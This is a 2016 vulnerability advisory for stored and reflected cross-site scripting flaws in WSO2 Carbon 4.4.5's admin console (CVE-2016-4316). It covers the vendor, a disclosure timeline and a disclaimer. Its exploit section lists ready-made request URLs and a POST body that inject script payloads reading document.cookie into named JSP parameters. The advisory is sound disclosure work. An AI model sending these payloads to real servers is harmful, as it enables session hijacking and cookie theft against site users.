WSO2 Carbon 4.4.5 - Persistent Cross-Site Scripting

[+] Credits: John Page aka HYP3RLINX



[+] Website: hyp3rlinx.altervista.org



[+] Source:  http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-PERSISTENT-XSS-COOKIE-THEFT.txt



[+] ISR: ApparitionSec





Vendor:

=============

www.wso2.com





Product:

==================

Ws02Carbon v4.4.5



WSO2 Carbon is the core platform on which WSO2 middleware products are built. It is based on Java OSGi technology, which allows

components to be dynamically installed, started, stopped, updated, and uninstalled, and it eliminates component version conflicts.

In Carbon, this capability translates into a solid core of common middleware enterprise components, including clustering, security,

logging, and monitoring, plus the ability to add components for specific features needed to solve a specific enterprise scenario.





Vulnerability Type:

===========================

Persistent / Reflected

Cross Site Scripting (XSS) - Cookie Disclosure





CVE Reference:

==============

CVE-2016-4316





Vulnerability Details:

=====================



WSo2 Carbon has multiple XSS vectors allowing attackers to inject client-side scripts into web pages viewed by other users.

A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy,

stealing session cookies and used as a platform for further attacks on the system.





Exploit code(s)

===============





Persistent XSS:



GET Request

https://victim-server:9443/carbon/identity-mgt/challenges-mgt.jsp?addRowId=XSS&setName="/><script>alert(document.cookie)</script>





Request two is POST

/carbon/identity-mgt/challenges-mgt-finish.jsp



setName=%22%2F%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&question0=&question1=City+where+you+were+born+%3F&setId1=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question1=City+where+you+were+born+%3F&question2=Father%27s+middle+name+%3F&setId2=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question2=Father%27s+middle+name+%3F&question3=Name+of+your+first+pet+%3F&setId3=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question3=Name+of+your+first+pet+%3F&question4=Favorite+sport+%3F&setId4=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question4=Favorite+sport+%3F&question5=Favorite+food+%3F&setId5=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question5=Favorite+food+%3F&question6=Favorite+vacation+location+%3F&setId6=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion1&question6=Favorite+vacation+location+%3F&question7=Model+of+your+first+car+%3F&setId7=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question7=Model+of+your+first+car+%3F&question8=Name+of+the+hospital+where+you+were+born+%3F&setId8=http%3A%2F%2Fwso2.org%2Fclaims%2FchallengeQuestion2&question8=Name+of+the+hospital+where+you+were+born+%3F&setId9=%22%2F%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&question9=XSS





Then XSS payload will be listed here in below URL:



https://victim-server:9443/carbon/identity-mgt/challenges-set-mgt.jsp?region=region1&item=identity_security_questions_menu



Finally when victim clicks to "Delete" entry on the page the XSS is executed.



Here is stored payload from the HTML source



<a onclick="removeSet('\x22/><script>alert(666)</script>')" style='background-image:url(images/delete.gif);'  type="button" class="icon-link">Delete</a></td>





///////////////////////////////////////////////////////////////////////////////////////////////////////////





Reflected XSS 



XSS #1 

https://victim-server:9443/carbon/webapp-list/webapp_info.jsp?webappFileName=odata.war&webappState=all&hostName=victim-server&httpPort=9763&defaultHostName=victim-server&webappType=%22/%3E%3Cscript%3Ealert%28%27XSS%20hyp3rlinx%20\n\n%27%20%2bdocument.cookie%29%3C/script%3E





XSS #2 

https://victim-server:9443/carbon/ndatasource/newdatasource.jsp?dsName=%22onMouseMove=%22alert%28%27XSS%20by%20hyp3rlinx%20\n\n%27%2bdocument.cookie%29&edit=HELL





XSS #3

https://victim-server:9443/carbon/ndatasource/newdatasource.jsp?description=%22onMouseMove=%22alert%28%27XSS%20by%20hyp3rlinx%20\n\n%27%2bdocument.cookie%29&edit=true





XSS #4

https://victim-server:9443/carbon/webapp-list/webapp_info.jsp?webappFileName=odata.war&webappState=all&hostName=victim-server&httpPort=%22/%3E%3Cscript%3Ealert%28%27XSS%20hyp3rlinx%20\n\n%27%20%2bdocument.cookie%29%3C/script%3E&defaultHostName=victim-server&webappType=



XSS #5

https://victim-server:9443/carbon/viewflows/handlers.jsp?retainlastbc=true&flow=in&phase=%22/%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E





XSS #6

https://victim-server:9443/carbon/ndatasource/validateconnection-ajaxprocessor.jsp?&dsName=WSO2_CARBON_DB&driver=com.mysql.jdbc.Driver&url=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E&username=root&dsType=RDBMS&customDsType=RDBMS&dsProviderType=default&dsclassname=undefined&dsclassname=undefined&dsproviderProperties=undefined&editMode=false&changePassword=true&newPassword=





Disclosure Timeline:

===========================================

Vendor Notification: May 6, 2016

Vendor Acknowledgement: May 6, 2016

Vendor Fix / Customer Alerts: June 30, 2016

August 12, 2016  : Public Disclosure





Exploitation Technique:

=======================

Remote





Severity Level:

===============

Medium





[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere.



HYP3RLINX